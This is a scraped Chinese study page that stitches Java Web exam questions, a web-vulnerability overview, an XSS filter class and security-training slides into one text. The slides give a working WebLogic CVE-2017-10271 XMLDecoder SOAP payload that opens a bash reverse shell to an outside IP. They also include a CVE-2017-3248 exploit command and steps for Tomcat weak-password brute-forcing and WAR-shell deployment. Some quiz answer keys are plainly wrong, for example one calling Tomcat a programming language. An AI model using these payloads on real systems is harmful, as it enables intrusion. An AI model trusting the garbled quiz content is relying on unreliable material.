2019.7研发考试——javaweb漏洞与安全开发学习资料

合集下载

JAVA_WEB_期末复习题

JAVA_WEB_期末复习题

JSP试题及答案第1章WEB开发环境一、选择题:(1)下列关于WEB开发说法正确的是。

ABCDA)Web是图形化的和易于导航的B)Web与平台无关C)Web是分布式的D)Web 是动态的E)Web 是静态的(2)下列关于Tomcat说法正确的是。

ABCDA)Tomcat是一种编程语言B)Tomcat是一种开发工具C)Tomcat是一种编程思想D)Tomcat是一种开编程规范E)Tomcat是一个免费的开源的Serlvet容器(3)下列关于Tomcat个目录说法错误的是。

EA)bin目录——包含启动/关闭脚本B)conf目录——包含不同的配置文件C)Lib目录——包含Tomcat使用的JAR文件D)webapps目录——包含web项目示例,当发布web应用时,默认情况下把web文件夹放于此目录下E)work目录——包含web项目示例,当发布web应用时,默认情况下把web文件夹放于此目录下(4)下列关于HTTP协议说法正确的是。

ABCDEA)HTTP是一种请求/响应式的协议B)HTTP请求消息中Accept表示浏览器可接受的MIME类型C)HTTP请求消息中Accept-Encoding表示浏览器能够进行解码的数据编码方式D)HTTP请求消息中Accept-Language表示浏览器所希望的语言种类E)HTTP请求消息中Host表示初始URL中的主机和端口。

(5)下列对于JSP说法中正确的是。

ABCDEA)JSP是Sun公司推出的新一代站点开发语言B)JSP完全解决了目前ASP、PHP的一个通病——脚本级执行C)JSP将内容的生成和显示进行分离D)JSP强调可重用的组件E)JSP采用标识简化页面开发第2章JSP编译指令一、选择题:(1)下列关于JSP编译指令说法错误的是。

CA)编译指令用于从JSP发送一个信息到容器上B)编译指令用来设置全局变量、声明类要实现的方法和输出内容的类型等C)编译指令向客户端产生任何输出D)编译指令所有的指令都在整个JSP页面内有效E)编译指令元素为编译阶段提供了全局信息(2)下面关于page指令说法中错误的是。

java web试题及答案

java web试题及答案

java web试题及答案一、单选题1. 下面哪个不是Java Web中的三大组件?A. JSPB. ServletC. JDBCD. EJB答案:C2. 在Java Web中,以下哪个是正确的访问Servlet的URL模式?A. /servlet/MyServletB. /MyServletC. servlet/MyServletD. MyServlet答案:B3. 下面哪个选项不是正确的JSP指令?A. <%@ page contentType="text/html;charset=UTF-8" %>B. <%@ include file="header.jsp" %>C. <%! int i = 0; %>D. <% out.println("Hello, World!"); %>答案:C4. 下面哪个选项不是Java Web中常见的部署描述符文件?A. web.xmlB. context.xmlC. server.xmlD. sun-web.xml答案:C5. 在Java Web开发中,以下哪个选项可以用来从客户端接收数据?A. HttpServletRequestB. HttpServletResponseC. HttpSessionD. ServletContext答案:A二、填空题1. Java Web中的MVC模式中,将业务逻辑封装在模型中,实现对数据的访问、处理和操作,用于实现数据的持久化和访问。

这个模型称为_______。

答案:JavaBean2. Java Web中,JSP是Java Server Pages的简称,它是一种动态网页技术,是通过在HTML中插入Java代码片段来生成动态内容的。

JSP文件的扩展名是_______。

答案:.jsp3. 在Java Web中,使用JDBC进行数据库访问的第一步是加载并注册数据库驱动程序,使用的类是_______。

WEB常见安全漏洞讲解

WEB常见安全漏洞讲解

3数据库权限做限制
3.1 不能对业务账号开 select information_schema 权限。因为一旦某个漏洞被成功注入,information_schema库暴露所有库, 所有表,字段的定义。给sql注入者提供了便利,,, 注入者不需要猜测表结构,就能轻松获取所有表的定义,进而轻松获取所有 表的数据
TOP-3 跨站脚本(XSS)
什么是跨站脚本攻击?
往Web页面里插入恶意html/js代码
插入
当用户浏览该web页面时
攻击 浏览
插入HTML/JS代码并执行
嵌入Web页面里面的html代码会被执行
执行
从而达到攻击用户的特殊目的
TOP-3 跨站脚本(XSS) 防范
最好的办法是根据数据将要置于的HTML上下文(包括主体、 属性、 JavaScript、 CSS或URL) 对所有的不可信数据进行恰当的转义 ( escape) 。 更多关于数据转义技术的信息见OWASP XSS PrevenPon Cheat Sheet 。
TOP-6 敏感信息泄露
攻击案例 案例 #1: 一个应用程序加密存储在数据库的信用卡信息,以防止信用卡信息暴 露给最终用户 。 但是, 数据库设置为对信用卡表列的询进行自动解密, 这就使 得 S QL注入漏洞能够获得所有信用卡信息的明文。 该系统应该被设置为前端应 用程序使用公钥对信用卡信息加密, 后端应用程序只能使用私钥解密。
案例 #2: 应用程序超时设置不当。用户使用公共计算机访问网站。离开时,该用户没有点 击退出,而是直接关闭浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。 案例 #3: 内部或外部攻击者进入系统的密码数据库.存储在数据库中的用户密码没有被加密, 所有用户的密码都被攻击者获得。

常见的web漏洞原理及解决办法

常见的web漏洞原理及解决办法

常见的web漏洞原理及解决办法1. web应⽤功能与安全隐患的对应关系2. 常见web漏洞原理及解决⽅法web安全的根源:程序要处理的输⼊数据都是有害的1. XSS跨站原理:程序中输出的数据中含有脚本执⾏的内容,在经过浏览器解释后,数据中的脚本内容被成功执⾏产⽣的地⽅:web应⽤中⽣成HTML和Javascript的地⽅影响:窃取COOKIE值,通过Javascript攻击,篡改⽹页类型:反射性、存储型、DOM型解决⽅法:输出的数据要转译,⽣成正确的Html; 设置HTTP响应的字符编码; 输⼊校验; 给COOKIE设置HttpOnly属性; 关闭TRACE⽅法备注:正确编码,可以完全杜绝XSS漏洞的发⽣2. SQL注⼊原理:程序处理的数据介⼊到数据库的逻辑时,输⼊的数据在被数据库解释的过程中,数据被当做数据库指令被执⾏了产⽣的地⽅:调⽤SQL语句的地⽅影响:信息泄露;篡改数据;绕过认证;擅⾃运⾏程序、浏览或编辑⽂件解决⽅法:使⽤静态占位符调⽤SQL语句;使⽤成熟的数据库操作组件备注:正确编码,可以完全杜绝SQL注⼊漏洞的发⽣3. 跨站请求伪造(CSRF)原理:程序在执⾏关键处理(转账、付款、修改密码等)的时候,没有额外的认证机制,确认是⽤户本⼈⾃⼰的⾏为产⽣的地⽅:执⾏关键处理的页⾯(仅使⽤COOKIE进⾏会话管理的应⽤,仅依靠HTTP认证、SSL客户端证书、⼿机移动ID来识别⽤户的应⽤)影响:⾮⽤户本意的情况下,存在CSRF的关键逻辑被执⾏解决⽅法:执⾏关键处理前,确认是正规⽤户发起的请求,常⽤⼿段有:嵌⼊机密令牌、再次输⼊密码、检验Referer等备注:逻辑漏洞,需要借助其他⼿段确认是⽤户⾃⼰的⾏为,⽐如邮件、⼿机短信、⽤户的额外⼝令等附:XSS与CSRF的区别4. 不完善的会话管理原理:会话ID泄露,⽐如通过XSS窃取、URL/Referer泄露、HTTP头注⼊、可预测会话ID等⽅法获得产⽣的地⽅:使⽤会话管理的地⽅影响:⽤户信息泄露、⽤户权限操作解决⽅法:使⽤web框架提供的会话管理功能;认证成功之后,更改会话ID备注:建议COOKIE中不存储除会话功能之外的数据5. 重定向的安全隐患原理:web应⽤有时会有重定向外界URL的功能,该URL可以被⽤户指定或改写产⽣的地⽅:存在重定向功能的地⽅;存在HTTP头注⼊的地⽅影响:钓鱼⽹站解决⽅法:设置跳转⽩名单;使⽤数字等标识代表跳转地址;消除HTTP头注⼊的漏洞备注:6. 越权原理:应⽤执⾏⽤户的某些操作的时候,没有校验⽤户的权限产⽣的地⽅:没⽤校验⽤户权限的逻辑处影响:⽤户的逻辑被执⾏,造成信息泄露、⽤户的功能被冒⽤解决的⽅法:⽤户⾝份标识存在session当中并使⽤它进⾏校验,禁⽤只⽤客户端传⼊⽤户唯⼀标识备注:分为⽔平越权和垂直越权7. 发送邮件的安全隐患原理:数据未过滤,导致邮件头注⼊;hidden参数保存收件⼈信息;邮件服务器开发转发;产⽣的地⽅:使⽤邮件功能的地⽅影响:邮件标题、发件⼈或正⽂被篡改;被⽤来发⽣垃圾、病毒邮件;解决⽅法:校验外界输⼊参数;邮件服务器不开启转发功能;备注:8. OS命令注⼊原理:在应⽤中,有提供执⾏OS系统命令的功能时,输⼊参数未过滤或转译,参数内容被解释成命令被执⾏产⽣的地⽅:有使⽤OS系统命令调⽤的地⽅影响:使⽤应⽤的权限,执⾏系统命令,造成信息泄露、篡改或删除数据、对外发动攻击、使系统停⽌等解决的⽅法:避免使⽤内部调⽤shell的函数、不将外部输⼊的字符串传递给命令⾏参数、使⽤安全的函数传递给OS命令的参数进⾏转译备注:9. ⽂件上传相关的问题原理:⽂件上传的地⽅未对安全弱点做防护产⽣的地⽅:提供⽂件上传功能的地⽅影响:上传的Dos攻击、Webshell、恶意⽂件、越权下载等解决的⽅法:修改⽂件名称、⽂件所在⽬录不被解释成执⾏脚本、限制⽂件上传的⼤⼩速率等、校验⽤户权限、检查⽂件内容备注:10. 共享资源的问题原理:竞争共享资源处理不完善,导致竞态条件漏洞产⽣的地⽅:存在竞争共享资源的地⽅影响:页⾯显⽰其它⽤户的个⼈信息,数据库信息不⼀致,⽂件内容被破坏解决的⽅法:不使⽤共享资源,针对共享资源实施完善的互斥锁备注:11. 服务端请求伪造(SSRF)原理:服务器替代客户端访问后端资源时,未做验证,造成该接⼝被恶意使⽤影响:渗透内⽹解决的⽅法:⽩名单过滤请求内容备注:。

WEB开发安全漏洞原因分析及解决

WEB开发安全漏洞原因分析及解决

3 XSS跨站脚本编制3.1 原因它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。

3.2 解决在防止这类问题时,输入内容的转义效果远比内容过滤要好。

具体实施可以增加一个request的转码过滤器。

代码:import java.io.IOException;import .URLDecoder;import java.util.Iterator;import java.util.Map;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import ng.StringEscapeUtils;/*** Servlet Filter implementation class SqlEscapeFilter*/public class SqlEscapeFilter implements Filter{/*** Default constructor.*/public SqlEscapeFilter() {}/*** @see Filter#destroy()*/public void destroy() {}/*** @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain)*/public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {HttpServletRequest hreq = (HttpServletRequest)request;Map map = hreq.getParameterMap();Iterator itr = map.keySet().iterator();while( itr.hasNext() ){String key = itr.next().toString();String [] values = hreq.getParameterValues(key);if( values != null ){for( int i = 0; i < values.length; i++ ){if(!key.equals("password")){values[i] = cleanXSS(values[i]);}}if(values.length>1){hreq.setAttribute(key, values);}else{hreq.setAttribute(key, values[0]);}}}chain.doFilter(request, response);}/*** @see Filter#init(FilterConfig)*/public void init(FilterConfig fConfig) throws ServletException {}private String cleanXSS(String value) throws IOException{String coverValue=URLDecoder.decode(value,"utf-8");coverValue = coverValue.replaceAll("<", "&lt;").replaceAll(">", "&gt;");coverValue = coverValue.replaceAll("\\(", "& #40;").replaceAll("\\)", "&#41;");coverValue = coverValue.replaceAll("'", "&#39;");coverValue = coverValue.replaceAll("eval\\((.*)\\)", "");coverValue = coverValue.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");coverValue = coverValue.replaceAll("script", "");if(!value.equals(coverValue)){coverValue=URLDecoder.decode(coverValue,"utf-8");}return StringEscapeUtils.escapeJavaScript(coverValue);}}配置应用中的web.xmlWeb.xml:<filter><display-name>SqlEscapeFilter</display-name><filter-name>SqlEscapeFilter</filter-name><filter-class>com.hna.hka.so.web.filter.SqlEscapeFilter</filter-class></filter><filter-mapping><filter-name>SqlEscapeFilter</filter-name><url-pattern>*.jsp</url-pattern></filter-mapping><filter-mapping><filter-name>SqlEscapeFilter</filter-name><url-pattern>*.action</url-pattern></filter-mapping>4 XSRF跨站请求伪造4.1 原因CSRF利用方式比较类似XSS(跨站脚本 Cross Site Scripting) ,不过不同的是CSRF是构造一个提交来让其他人访问后,利用站点对这些人的信任来进行一些所期望的操作.比如:A和B在同一个有XSS漏洞的站点C,B登录过D站点,并且有这个D站点的Cookies,这时候如果A构造一个CSRF,内容为给 A在D站点的账户转移一些虚拟币,如果这时候在C站点浏览的B用户打开了A构造的含有CSRF的页面,这时候B的D站点用户会因为对B用户的信任而进行给 A转账的操作.4.2 解决此类攻击的情景相对的比较复杂,具体解决可以参考以下5点:第一:限制验证cookie的到期时间。

JavaWeb应用开发技术与案例教程教学课件ppt作者张继军第10章_JavaWeb实用开发技术

JavaWeb应用开发技术与案例教程教学课件ppt作者张继军第10章_JavaWeb实用开发技术
【例10-2】设计公告板模块,使用CKEditor编辑公 告内容,界面如图10-3所示。
【设计关键】 使用CKEditor编辑公告,可以实现“所见即所
得”,用户在编辑器中编辑的结果就是最终发布 的结果。我们设计两个页面,一个是公告编辑页 面edit.jsp,一个是显示发布结果页面show.jsp, 另外修改ckeditor下的config.js文件定制编辑器的 工具栏。
【实现】
10.4 文件的上传与下载
文件的上传与下载是一个Web应用程序的常 见模块,通过文件上传可将个人资源传到服务器上 保存或供大家共享;通过文件下载可将网络上的资 源保存到本地离线查看。本节介绍如何实现文件的 上传和下载功能。
10.4.1 常见文件上传下载组件
使用Java技术实现文件上传下载,需要借助于 输入输出流类实现,比较复杂。而借助于一些上传下 载组件来实现则非常简单,而且效率比较高。常见的 上传下载组件有FileUpload、jspSmartUpload,Cos 等。
10.5.2 使用Java Mail发送邮件
采用Commons-Email实现。 Commons-Email是Apache提供的一个开源的 API,使用它时用到的jar包括: mail.jar、activation.jar、additionnal.jar和 commons-email-1.2.jar, 主要包括: SimpleEmail, MultiPartEmail, HtmlEmail, EmailAttachment
10.1.1 图形验证码简介
验证码就是在用户界面上以图形的方式显示的 一些符号,通常是字母、数字或汉字组成的一个随 机字符串,它是如何产生和验证的呢?它通常是由 服务器端程序(如Servlet)产生并保存的(保存在 session范围内),登录或注册时将用户输入的验证 码和服务器端保存的验证码进行比对。

javaweb考试重点

javaweb考试重点

javaweb考试重点一:名词解释:1.XML:(Extensible Markup Language)即:可扩展标记语言。

它与HTML一样,都是SGML(Standard Generalized Markup Language,标准通用标记语言)。

XML是Internet环境中跨平台的,简单的数据存储语言。

2.Internet与intranet:Internet是一个开放的,由位于世界不同地方的众多网络和计算机互联而成,依靠TCP/IP协议实现通信的互联网络。

Intranet是一个企业自己的内部网络,不过这个网络同样采用了基于Internet的技术结和服务工具。

3.JSP和JS:JS(JAVASCRIPT)是一种基于对象和事件驱动的嵌在HTML文档中的脚本语言。

主要用于开发交互式的web页面。

JSP:(Java Server Pages)是由SUN公司倡导,许多公司参与建立的一种动态网页技术标准。

它在HTML代码中插入JSP标记和JAVA程序片段,构成JSP页面。

JSP文件的扩展名为.jsp,JSP为构建动态web界面提供了一种简单快捷的方法。

4.JDBC:(Java database connection)是由sun公司提出的一种访问数据库的技术标准。

它是一种通过Java语言访问数据库的应用程序接口(JDBC API),由一组由Java语言编写的类和接口组成,对于访问一些由结构化查询语言SQL的关系型数据库尤为有效。

5.HTML:(HyperText Markup Language)是用于创建基于web的表示内容的最常用得方法,HTML提供了固定的预定义元素集,用户可以使用它们来标记一个典型通用的web页的组成部分。

6.DNS(Domain name system)域名解析系统:因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。

javaweb期末试题及答案

javaweb期末试题及答案

javaweb期末试题及答案提示:由于机器人文本回复字数有限,无法提供2000字的文章。

以下是一个总结、提纲或示例,供您参考:题目:javaweb期末试题及答案正文:在JavaWeb课程学习的期末考试中,以下是一些常见的试题及答案。

这些问题可以帮助学生复习和准备考试,加深对JavaWeb开发的理解。

1. 什么是JavaWeb?JavaWeb是一种基于Java语言的Web开发技术,用于构建各种类型的Web应用程序。

它使用Java作为后端语言,并通过HTTP协议与浏览器进行通信。

2. 请解释Servlet和JSP之间的关系。

Servlet是在JavaWeb中处理HTTP请求和响应的Java类。

它们主要用于编写后端逻辑。

而JSP(JavaServer Pages)是一种将Java代码嵌入到HTML中的技术,用于动态生成Web页面。

3. 请描述Servlet的生命周期。

Servlet的生命周期包括以下阶段:- 加载和初始化Servlet类。

- 创建Servlet实例。

- 调用init()方法进行初始化。

- 调用service()方法处理请求。

- 调用destroy()方法销毁Servlet实例。

4. 请解释Web容器(Web Container)是什么。

Web容器是一种在服务器上运行的应用程序,用于管理Servlet和JSP。

它负责加载、初始化和执行这些组件,并处理与客户端的HTTP通信。

5. 请描述如何在Servlet中处理表单数据?在Servlet中处理表单数据可以通过HttpServletRequest对象来获取表单参数。

可以使用getParameter()方法来获取特定参数的值,或者使用getParameterValues()方法获取多个值(如复选框)。

6. 请解释Cookie的作用和如何在Servlet中使用它。

Cookie是一种存储在客户端浏览器中的小型数据片段。

它用于在HTTP协议中跟踪用户状态和存储用户信息。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

实验 CVE-2017-3248
#### CVE-2018-2628 https:///kericwy/CVE-2018-2628
#### CVE-2018-2893 #### CVE-2018-3191 影响weblogic 10.3.6.0,12.1.3.0,12.2.1.3版本 #### CVE-2018-3197 12.1.3.0 #### CVE-2018-3201 12.2.1.3 #### CVE-2018-3245 10.3.6.0,12.1.3.0,12.2.1.3 #### CVE-2018-3252 ห้องสมุดไป่ตู้0.3.6.0,12.1.3.0,12.2.1.3
实验-WEBLOGIC XMLDECODER 反序列化漏洞
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞 CVE-2017-10271 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解 析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 传入下面的数据包即可反弹shell:
同apache/nginx等中间件不同,JAVA中间件(如tomcat/weblogic等)通常本 身由JAVA 编写,并提供了非常丰富的功能和灵活的配置,从而JAVA 中间 件本身的安全性也面临着严峻的挑战。
TOMCAT弱口令GETSHELL
问题来源:
tomcat5 默认有两个角色:tomcat和role1。其中账号both、tomcat、role1的默认密码都 是tomcat。不过不具备部署应用的权限,默认需要manager权限才能够直接部署war包; (备注:图片中的admin admin用户是后添加的)
WEBLOGIC 存在的SSRF漏 洞
□ Weblogic-uddiexplorer处存在SSRF漏洞
□ Weblogic 10.0.2—10.3.6版本的SearchPublicRegistries.jsp处会存在SSRF漏洞 描述: SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个 安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的, 所以它能够请求到与它相连而与外网隔离的内部系统)。Weblogic中间件默认带有“ UDDI 目录浏览器” 且为 未授权访问,通过该应用,可进行无回显的SSRF请求。
WebLogic是美国bea公司出品的一个application server,是用于开发、集成、部 署和管理大型分布式W e b 应用、网络应用和数据库应用的Java应用服务器
默认开放端口:7001
WEBLOGIC 后台获取权限的方 法
□ 默认情况下,weblogic domain启动时需要输入用户名和密码,为了不输入密码,可以在目录 Oracle/Middleware/user_projects/domains/epower2_dev/servers/AdminServer下创建security目录, 增加boot.properties文件 (实际目录根据项目不同而有区别)
<soapenv:Envelope xmlns:soapenv="/soap/envelope/"><soapenv:Header> <work:WorkContext xmlns:work="/2004/06/soap/workarea/"> <javaversion="1.4.0" class="java.beans.XMLDecoder"> <void class="ng.ProcessBuilder"> <array class="ng.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i&gt;&amp; /dev/tcp/13.94.33.143/8089 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
实验-TOMCAT弱口令GETSHELL
尝试爆破tomcat弱口令,可以用网上的工具,或者直接使用metasploit里面的模块: use auxiliary/scanner/http/tomcat_mgr_login 之后在后台的位置,部署一个包含webshell的war包即可。
WEBLOGIC
实验 CVE-2017-3248
分析之前 WebLogic 漏洞 CVE-2015-4852 的补丁,发现 WebLogic 采用黑名单的方式过 滤危险的反序列化类。 但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列 化类,那么之前的防护就会被打破,系统遭受攻击。这次发布的 CVE-2017-3248 就是利用 了黑名单之外的反序列化类,通过 JRMP 协议达到执行任意反序列化 payload。(Java远 程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用 于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的 线路层协议。) 利用方法: java -jar weblogic_cmd.jar -H "202.112.51.134" -C "whoami"
这是因为在高版本的tomcat中,默认只允许本机地址进行登陆,这需要我们在 /usr/local/tomcat/webapps/manager/META-INF/context.xml内,把allow属性改为 ^.*$ 这样,访问8080端口的manager/html,我们就可以看到登陆认证的对话框了。
Weblogic默认密码文件: Weblogic 9采用的3DES(三重数据加密算法)加密方式,Weblogic 9默认的管理密码配置文件位于: 用户名和密码的配置信息主要在服务器的security文件夹中的boot.properties文件:
文件内容: username=weblogic password=password
保存,退出,重启domain, 这时就不用输入密码了。
而且启动过一次以后,weblogic会对boot.properties进行加密 Weblogic 9:
username={3DES}fy709SQ4pCHAFk+lIxiWfw== password={3DES}fy709SQ4pCHAFk+lIxiWfw== Weblogic 12c: Weblogic 12c采用了AES对称加密方式 #Mon Aug 19 14:50:12 CST 2013 password={AES}Qjd77Jdiz+EvBxy/DNbrkpIkiYhprBwdiyoBCLh+ChY\= username={AES}8M6clm3KIg4vZox4K35465sLj83zbba1aybLVY9ezZk\=
实验-TOMCAT弱口令GETSHELL
然而光这样还是不够的, manager/html仍然403:
You are not authorized to view this page.
By default the Manager is only accessible from a browser running on the same machine as Tomcat. If you wish to modify this restriction, you'll need to edit the Manager's context.xml file.
tomcat6 默认没有配置任何用户以及角色,没办法用默认账号登录;
实验-TOMCAT弱口令GETSHELL
如果想要登陆manager/html,conf下的tomcat-users.xml需要添加:
<role rolename="tomcat-gui"/> <role rolename="manager-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="tomcat" roles="manager-gui"/> <user username="admin" password="123456" roles="tomcat-gui,managergui,manager-script"/>
JAVAW E B漏洞与安全开发
2019.05.14
主要内容
• Java中间件安全 • Javaweb中的通用web漏洞 • Java specific vulnerability • 第三方jar包/框架导致的安全问题 • Javaweb安全开发编程
相关文档
最新文档